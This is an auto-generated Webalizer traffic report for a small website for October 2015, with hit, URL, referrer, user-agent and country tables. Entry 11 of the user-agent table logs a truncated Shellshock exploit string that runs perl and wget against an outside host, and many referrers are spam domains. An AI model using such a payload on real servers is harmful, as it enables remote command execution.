Usage Statistics for theconlans.com

Summary Period: October 2015
Generated 01-Nov-2015 07:36 EST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for October 2015
Total Hits 20626
Total Files 16783
Total Pages 18438
Total Visits 4772
Total KBytes 509658
Total Unique Sites 1051
Total Unique URLs 775
Total Unique Referrers 389
Total Unique User Agents 213
. Avg Max
Hits per Hour 27 873
Hits per Day 665 1926
Files per Day 541 1592
Pages per Day 594 1708
Sites per Day 33 182
Visits per Day 153 242
KBytes per Day 16441 56018
Hits by Response Code
Code 200 - OK 81.37% 16783
Code 301 - Moved Permanently 0.01% 2
Code 304 - Not Modified 1.90% 391
Code 400 - Bad Request 0.10% 21
Code 403 - Forbidden 0.07% 15
Code 404 - Not Found 16.53% 3409
Code 405 - Method Not Allowed 0.02% 5

Daily usage for October 2015

Daily Statistics for October 2015
Day Hits Files Pages Visits Sites KBytes
1 764 3.70% 644 3.84% 688 3.73% 164 3.44% 133 12.65% 24735 4.85%
2 1157 5.61% 909 5.42% 1008 5.47% 132 2.77% 91 8.66% 20409 4.00%
3 1562 7.57% 1412 8.41% 1451 7.87% 121 2.54% 87 8.28% 17884 3.51%
4 299 1.45% 241 1.44% 256 1.39% 122 2.56% 93 8.85% 5883 1.15%
5 568 2.75% 468 2.79% 499 2.71% 169 3.54% 100 9.51% 6267 1.23%
6 1926 9.34% 1592 9.49% 1708 9.26% 174 3.65% 102 9.71% 55576 10.90%
7 588 2.85% 442 2.63% 485 2.63% 163 3.42% 108 10.28% 12468 2.45%
8 323 1.57% 261 1.56% 284 1.54% 163 3.42% 92 8.75% 13544 2.66%
9 1751 8.49% 1445 8.61% 1588 8.61% 148 3.10% 104 9.90% 56018 10.99%
10 698 3.38% 594 3.54% 630 3.42% 151 3.16% 100 9.51% 11049 2.17%
11 218 1.06% 147 0.88% 181 0.98% 144 3.02% 92 8.75% 5625 1.10%
12 647 3.14% 289 1.72% 471 2.55% 136 2.85% 90 8.56% 13265 2.60%
13 1211 5.87% 1097 6.54% 1138 6.17% 146 3.06% 89 8.47% 31677 6.22%
14 756 3.67% 659 3.93% 711 3.86% 205 4.30% 135 12.84% 25733 5.05%
15 809 3.92% 719 4.28% 752 4.08% 242 5.07% 182 17.32% 12945 2.54%
16 552 2.68% 414 2.47% 473 2.57% 136 2.85% 84 7.99% 20234 3.97%
17 293 1.42% 240 1.43% 265 1.44% 173 3.63% 87 8.28% 11319 2.22%
18 315 1.53% 239 1.42% 273 1.48% 172 3.60% 92 8.75% 9383 1.84%
19 984 4.77% 726 4.33% 891 4.83% 127 2.66% 83 7.90% 28030 5.50%
20 383 1.86% 285 1.70% 331 1.80% 131 2.75% 87 8.28% 14060 2.76%
21 227 1.10% 157 0.94% 176 0.95% 150 3.14% 101 9.61% 3079 0.60%
22 656 3.18% 577 3.44% 610 3.31% 151 3.16% 90 8.56% 8002 1.57%
23 1077 5.22% 977 5.82% 1018 5.52% 153 3.21% 91 8.66% 36018 7.07%
24 502 2.43% 448 2.67% 471 2.55% 144 3.02% 85 8.09% 22189 4.35%
25 535 2.59% 432 2.57% 488 2.65% 133 2.79% 94 8.94% 11692 2.29%
26 284 1.38% 225 1.34% 262 1.42% 180 3.77% 102 9.71% 6126 1.20%
27 400 1.94% 296 1.76% 336 1.82% 174 3.65% 116 11.04% 7680 1.51%
28 391 1.90% 304 1.81% 354 1.92% 172 3.60% 112 10.66% 6412 1.26%
29 333 1.61% 279 1.66% 297 1.61% 155 3.25% 99 9.42% 6380 1.25%
30 243 1.18% 148 0.88% 200 1.08% 119 2.49% 84 7.99% 4606 0.90%
31 174 0.84% 117 0.70% 143 0.78% 123 2.58% 79 7.52% 1372 0.27%

Hourly usage for October 2015

Hourly Statistics for October 2015
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 44 1390 6.74% 39 1225 7.30% 41 1287 6.98% 645 19986 3.92%
1 57 1775 8.61% 47 1469 8.75% 52 1634 8.86% 1551 48070 9.43%
2 26 830 4.02% 14 460 2.74% 20 640 3.47% 414 12847 2.52%
3 15 466 2.26% 13 403 2.40% 13 422 2.29% 341 10569 2.07%
4 13 425 2.06% 11 341 2.03% 11 368 2.00% 314 9738 1.91%
5 14 437 2.12% 11 366 2.18% 13 406 2.20% 470 14560 2.86%
6 29 918 4.45% 24 744 4.43% 25 802 4.35% 1288 39925 7.83%
7 11 341 1.65% 8 277 1.65% 9 296 1.61% 266 8248 1.62%
8 11 369 1.79% 8 276 1.64% 10 313 1.70% 205 6341 1.24%
9 18 586 2.84% 13 428 2.55% 16 514 2.79% 293 9088 1.78%
10 25 786 3.81% 20 647 3.86% 22 694 3.76% 398 12339 2.42%
11 41 1273 6.17% 34 1062 6.33% 36 1140 6.18% 583 18066 3.54%
12 35 1086 5.27% 27 866 5.16% 30 959 5.20% 764 23685 4.65%
13 25 799 3.87% 20 634 3.78% 22 698 3.79% 518 16061 3.15%
14 24 746 3.62% 19 606 3.61% 22 686 3.72% 694 21524 4.22%
15 28 892 4.32% 25 787 4.69% 26 829 4.50% 1093 33891 6.65%
16 26 815 3.95% 19 595 3.55% 22 693 3.76% 855 26491 5.20%
17 61 1921 9.31% 55 1725 10.28% 57 1797 9.75% 1448 44896 8.81%
18 24 756 3.67% 19 607 3.62% 21 652 3.54% 743 23040 4.52%
19 36 1125 5.45% 29 905 5.39% 32 1003 5.44% 950 29435 5.78%
20 19 614 2.98% 16 497 2.96% 17 547 2.97% 321 9965 1.96%
21 32 1014 4.92% 27 841 5.01% 29 920 4.99% 1086 33651 6.60%
22 27 838 4.06% 22 701 4.18% 24 767 4.16% 952 29500 5.79%
23 13 424 2.06% 10 321 1.91% 11 371 2.01% 250 7744 1.52%

Top 30 of 775 Total URLs
# Hits KBytes URL
1 2697 13.08% 1567 0.31% /
2 1093 5.30% 8772 1.72% /webalizer/
3 556 2.70% 67403 13.23% /webalizer/usage_201506.html
4 326 1.58% 36008 7.07% /webalizer/usage_201510.html
5 126 0.61% 778 0.15% /modlogan/
6 102 0.49% 15 0.00% /icons/blank.gif
7 102 0.49% 22 0.00% /icons/folder.gif
8 76 0.37% 5250 1.03% /webalizer/usage_201509.html
9 51 0.25% 5836 1.15% /webalizer/usage_201505.html
10 49 0.24% 3823 0.75% /webalizer/usage_201508.html
11 45 0.22% 4770 0.94% /webalizer/usage_201504.html
12 43 0.21% 168 0.03% /modlogan/mla-req-201503.html
13 43 0.21% 3817 0.75% /webalizer/usage_201507.html
14 42 0.20% 4755 0.93% /webalizer/usage_201503.html
15 41 0.20% 364 0.07% /modlogan/mla-web_generic_hourly-201503.html
16 41 0.20% 4198 0.82% /webalizer/usage_201502.html
17 39 0.19% 371 0.07% /modlogan/mla-web_generic_daily-201503.html
18 38 0.18% 154 0.03% /modlogan/mla-visits-201503.html
19 37 0.18% 203 0.04% /modlogan/mla-web_generic_summary-201503.html
20 36 0.17% 73 0.01% /modlogan/modlogan.css
21 35 0.17% 139 0.03% /modlogan/mla-start-201509.html
22 35 0.17% 165 0.03% /modlogan/mla-user-201503.html
23 34 0.16% 193 0.04% /modlogan/mla-web_user_location_provider-201503.html
24 33 0.16% 142 0.03% /modlogan/mla-req-201505.html
25 33 0.16% 220 0.04% /modlogan/mla-web_user_location_provider-201502.html
26 32 0.16% 136 0.03% /modlogan/mla-robots-201503.html
27 32 0.16% 178 0.03% /modlogan/mla-user-201505.html
28 31 0.15% 121 0.02% /modlogan/mla-visits-201505.html
29 31 0.15% 295 0.06% /modlogan/mla-web_generic_hourly-201502.html
30 30 0.15% 14249 2.80% /modlogan/mla-full-web_request_url-201509.html

Top 10 of 775 Total URLs By KBytes
# Hits KBytes URL
1 556 2.70% 67403 13.23% /webalizer/usage_201506.html
2 326 1.58% 36008 7.07% /webalizer/usage_201510.html
3 30 0.15% 14249 2.80% /modlogan/mla-full-web_request_url-201509.html
4 27 0.13% 13194 2.59% /modlogan/mla-full-web_request_url_traffic-201509.html
5 1093 5.30% 8772 1.72% /webalizer/
6 21 0.10% 8746 1.72% /modlogan/mla-full-web_request_url_traffic-201508.html
7 20 0.10% 8745 1.72% /modlogan/mla-full-web_request_url-201508.html
8 23 0.11% 8268 1.62% /modlogan/mla-full-web_request_url_traffic-201505.html
9 23 0.11% 8267 1.62% /modlogan/mla-full-web_request_url-201505.html
10 21 0.10% 6747 1.32% /modlogan/mla-full-web_user_host_visits-201505.html

Top 10 of 380 Total Entry Pages
# Hits Visits URL
1 2697 13.08% 2228 51.03% /
2 1093 5.30% 420 9.62% /webalizer/
3 556 2.70% 229 5.25% /webalizer/usage_201506.html
4 326 1.58% 173 3.96% /webalizer/usage_201510.html
5 126 0.61% 81 1.86% /modlogan/
6 76 0.37% 56 1.28% /webalizer/usage_201509.html
7 51 0.25% 32 0.73% /webalizer/usage_201505.html
8 49 0.24% 31 0.71% /webalizer/usage_201508.html
9 45 0.22% 28 0.64% /webalizer/usage_201504.html
10 42 0.20% 26 0.60% /webalizer/usage_201503.html

Top 10 of 400 Total Exit Pages
# Hits Visits URL
1 2697 13.08% 2196 50.07% /
2 1093 5.30% 458 10.44% /webalizer/
3 556 2.70% 224 5.11% /webalizer/usage_201506.html
4 326 1.58% 140 3.19% /webalizer/usage_201510.html
5 126 0.61% 77 1.76% /modlogan/
6 76 0.37% 56 1.28% /webalizer/usage_201509.html
7 51 0.25% 34 0.78% /webalizer/usage_201505.html
8 49 0.24% 34 0.78% /webalizer/usage_201508.html
9 42 0.20% 28 0.64% /webalizer/usage_201503.html
10 45 0.22% 28 0.64% /webalizer/usage_201504.html

Top 30 of 1051 Total Sites
# Hits Files KBytes Visits Hostname
1 916 4.44% 751 4.47% 14688 2.88% 4 0.08% mj9.naefmarco.ch
2 648 3.14% 476 2.84% 23751 4.66% 6 0.13% static.227.10.9.176.clients.your-server.de
3 613 2.97% 492 2.93% 18163 3.56% 8 0.17% 195-154-157-47.rev.poneytelecom.eu
4 557 2.70% 523 3.12% 5655 1.11% 4 0.08% static.15.13.63.178.clients.your-server.de
5 538 2.61% 486 2.90% 30810 6.05% 6 0.13% hosted-by.leaseweb.com
6 501 2.43% 454 2.71% 7393 1.45% 2 0.04% ip-178-202-133-84.hsi09.unitymediagroup.de
7 444 2.15% 339 2.02% 15227 2.99% 3 0.06% b2b-46-252-131-34.unitymedia.biz
8 437 2.12% 300 1.79% 4896 0.96% 2 0.04% 69.30.215.130
9 390 1.89% 375 2.23% 20382 4.00% 3 0.06% static.105.87.4.46.clients.your-server.de
10 318 1.54% 295 1.76% 4121 0.81% 4 0.08% static.197.116.4.46.clients.your-server.de
11 317 1.54% 238 1.42% 3761 0.74% 2 0.04% 238-216-164-193.access.trined.nl
12 317 1.54% 290 1.73% 2933 0.58% 3 0.06% ns4001436.ip-198-245-51.net
13 315 1.53% 285 1.70% 10162 1.99% 5 0.10% mj7.naefmarco.ch
14 312 1.51% 289 1.72% 16214 3.18% 2 0.04% 83.149.126.98
15 311 1.51% 295 1.76% 16388 3.22% 3 0.06% 69.30.211.2
16 308 1.49% 300 1.79% 8092 1.59% 3 0.06% ju058.jupiter.fastwebserver.de
17 305 1.48% 283 1.69% 9357 1.84% 1 0.02% host86-132-215-49.range86-132.btcentralplus.com
18 305 1.48% 283 1.69% 3129 0.61% 1 0.02% malta2002.startdedicated.de
19 305 1.48% 301 1.79% 3322 0.65% 2 0.04% ns4006764.ip-198-27-82.net
20 304 1.47% 198 1.18% 3475 0.68% 1 0.02% 56.138.87.109.triolan.net
21 303 1.47% 296 1.76% 16538 3.24% 1 0.02% cm-84.213.218.177.getinternet.no
22 303 1.47% 274 1.63% 2136 0.42% 1 0.02% vmi49107.contabo.host
23 302 1.46% 297 1.77% 10269 2.01% 1 0.02% 82.193.127.15.ipnet.kiev.ua
24 296 1.44% 4 0.02% 144 0.03% 1 0.02% 183.60.243.188
25 285 1.38% 285 1.70% 21500 4.22% 63 1.32% static.18.16.9.5.clients.your-server.de
26 278 1.35% 225 1.34% 5700 1.12% 3 0.06% ns505712.ip-198-27-66.net
27 252 1.22% 217 1.29% 5682 1.11% 4 0.08% server.pokopo.com
28 246 1.19% 233 1.39% 5214 1.02% 1 0.02% static.35.89.4.46.clients.your-server.de
29 215 1.04% 212 1.26% 17816 3.50% 48 1.01% 193.201.227.77
30 202 0.98% 178 1.06% 3820 0.75% 1 0.02% 62-210-250-215.rev.poneytelecom.eu

Top 10 of 1051 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 538 2.61% 486 2.90% 30810 6.05% 6 0.13% hosted-by.leaseweb.com
2 648 3.14% 476 2.84% 23751 4.66% 6 0.13% static.227.10.9.176.clients.your-server.de
3 285 1.38% 285 1.70% 21500 4.22% 63 1.32% static.18.16.9.5.clients.your-server.de
4 390 1.89% 375 2.23% 20382 4.00% 3 0.06% static.105.87.4.46.clients.your-server.de
5 613 2.97% 492 2.93% 18163 3.56% 8 0.17% 195-154-157-47.rev.poneytelecom.eu
6 215 1.04% 212 1.26% 17816 3.50% 48 1.01% 193.201.227.77
7 303 1.47% 296 1.76% 16538 3.24% 1 0.02% cm-84.213.218.177.getinternet.no
8 311 1.51% 295 1.76% 16388 3.22% 3 0.06% 69.30.211.2
9 312 1.51% 289 1.72% 16214 3.18% 2 0.04% 83.149.126.98
10 444 2.15% 339 2.02% 15227 2.99% 3 0.06% b2b-46-252-131-34.unitymedia.biz

Top 30 of 389 Total Referrers
# Hits Referrer
1 18128 87.89% - (Direct Request)
2 504 2.44% http://0jejhcec65c24dslii.com
3 176 0.85% http://goconlan.com/
4 55 0.27% http://rankings-analytics.com/try.php
5 33 0.16% http://lj1.co/earnmoney
6 32 0.16% http://constravel.net
7 30 0.15% http://detki.cf
8 26 0.13% http://buttons-for-website.com
9 24 0.12% http://siniycomp.com
10 22 0.11% http://aviaticket.reformal.ru/
11 20 0.10% http://sanki-nika2.aircus.com/
12 20 0.10% http://writing-my-essay.ml/
13 20 0.10% https://vk.com/siniycomp
14 17 0.08% http://success-seo.com/try.php
15 16 0.08% http://mir124.ru
16 16 0.08% http://zdorovoerf.com
17 16 0.08% https://www.google.com/search
18 15 0.07% http://buy-essay-online.ga/
19 15 0.07% http://sanki-kolyaska-nika-detyam-3.aircus.com/
20 15 0.07% http://webgainer.com/
21 15 0.07% http://www.my-amour.com
22 14 0.07% http://biletavai.reformal.ru/
23 12 0.06% http://aviabilety.reformal.ru/
24 12 0.06% http://aviakassa2.reformal.ru/
25 12 0.06% http://samolet.reformal.ru/
26 12 0.06% https://vk.com/video-98572745_171900360
27 10 0.05% http://autoparts.96.lt/
28 10 0.05% http://sanki-nika-detyam-4.aircus.com/
29 10 0.05% http://sanki-nika-detyam-6.aircus.com/
30 10 0.05% http://snegokat.aircus.com/

Top 2 of 2 Total Search Strings
# Hits Search String
1 16 94.12% http://allcatsnames.com/bombay-cat-names
2 1 5.88% theconlans.com

Top 15 of 213 Total User Agents
# Hits User Agent
1 12733 61.73% Mozilla/5.0 (compatible; MJ12bot/v1.4.5; http://www.majestic12.co.uk/bot.php?+)
2 3360 16.29% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
3 539 2.61% Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
4 420 2.04% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
5 296 1.44% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
6 291 1.41% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
7 238 1.15% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
8 176 0.85% Mozilla/5.0 (compatible; spbot/4.4.2; +http://OpenLinkProfiler.org/bot )
9 174 0.84% Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
10 126 0.61% Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
11 82 0.40% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget -O /dev/null http://www.test
12 82 0.40% Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0
13 79 0.38% Mozilla/5.0 (Windows NT 6.1; rv:37.0) Gecko/20100101 Firefox/37.0
14 72 0.35% Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36
15 47 0.23% panscient.com

Usage by Country for October 2015

Top 30 of 50 Total Countries
# Hits Files KBytes Country
1 6234 30.22% 4718 28.11% 123664 24.26% Commercial (com)
2 4124 19.99% 3678 21.92% 124785 24.48% Germany
3 3476 16.85% 2723 16.22% 103226 20.25% Unresolved/Unknown
4 1810 8.78% 1536 9.15% 45437 8.92% European Union
5 1626 7.88% 1325 7.89% 24543 4.82% Network (net)
6 1468 7.12% 1227 7.31% 36253 7.11% Switzerland
7 445 2.16% 340 2.03% 15228 2.99% Generic Business (biz)
8 322 1.56% 242 1.44% 3782 0.74% Netherlands
9 310 1.50% 301 1.79% 10300 2.02% Ukraine
10 307 1.49% 299 1.78% 16611 3.26% Norway
11 181 0.88% 180 1.07% 493 0.10% Brazil
12 66 0.32% 39 0.23% 2615 0.51% Russian Federation
13 42 0.20% 16 0.10% 97 0.02% Poland
14 27 0.13% 21 0.13% 1411 0.28% Finland
15 23 0.11% 21 0.13% 7 0.00% Italy
16 23 0.11% 4 0.02% 11 0.00% Japan
17 15 0.07% 6 0.04% 7 0.00% Educational (edu)
18 13 0.06% 13 0.08% 105 0.02% Iran
19 12 0.06% 12 0.07% 4 0.00% Portugal
20 9 0.04% 9 0.05% 50 0.01% Indonesia
21 8 0.04% 4 0.02% 4 0.00% Seychelles
22 8 0.04% 8 0.05% 65 0.01% South Africa
23 6 0.03% 0 0.00% 3 0.00% Spain
24 6 0.03% 6 0.04% 164 0.03% British Indian Ocean Territory
25 6 0.03% 3 0.02% 2 0.00% Mexico
26 6 0.03% 5 0.03% 157 0.03% Viet Nam
27 4 0.02% 3 0.02% 36 0.01% Belgium
28 4 0.02% 4 0.02% 9 0.00% Chile
29 4 0.02% 2 0.01% 2 0.00% Lithuania
30 4 0.02% 4 0.02% 32 0.01% Thailand


Generated by Webalizer Version 2.20